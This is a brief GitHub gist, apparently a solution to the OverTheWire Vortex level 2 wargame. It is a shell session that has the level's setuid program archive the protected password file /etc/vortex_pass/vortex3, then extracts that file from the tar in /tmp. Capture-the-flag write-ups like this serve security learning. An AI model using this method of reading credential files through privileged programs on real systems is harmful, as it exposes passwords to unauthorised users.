Skip to content

Instantly share code, notes, and snippets.

@plvhx
Last active December 22, 2016 12:50
Show Gist options
  • Save plvhx/4ed24bad7f952ebdb7ae0d7556e408cf to your computer and use it in GitHub Desktop.
Save plvhx/4ed24bad7f952ebdb7ae0d7556e408cf to your computer and use it in GitHub Desktop.
overthewire.org vortex level2

Hint: $$ in bash is current PID :v :v

vortex2@melinda:/vortex$ mkdir /tmp/.v0
vortex2@melinda:/vortex$ ./vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names
vortex2@melinda:/vortex$ cp '/tmp/ownership.$$.tar' /tmp/.v0/.
vortex2@melinda:/vortex$ cd /tmp/.v0
vortex2@melinda:/tmp/.v0$ ls
ownership.$$.tar
vortex2@melinda:/tmp/.v0$ tar xvf *
etc/vortex_pass/vortex3
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment